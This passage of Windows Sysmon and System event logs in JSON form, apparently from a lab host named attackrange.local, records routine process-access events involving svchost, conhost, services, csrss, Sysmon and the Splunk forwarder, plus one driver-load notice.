C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nSourceProcessId: 3696\r\nSourceThreadId: 3716\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","SourceProcessId":"3696","SourceThreadId":"3716","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7026,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76805,"ProcessID":852,"ThreadID":856,"Channel":"System","Message":"The following boot-start or system-start driver(s) did not load: \r\ncdrom\r\ndam","param1":"\r\ncdrom\r\ndam","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nTargetProcessId: 3756\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 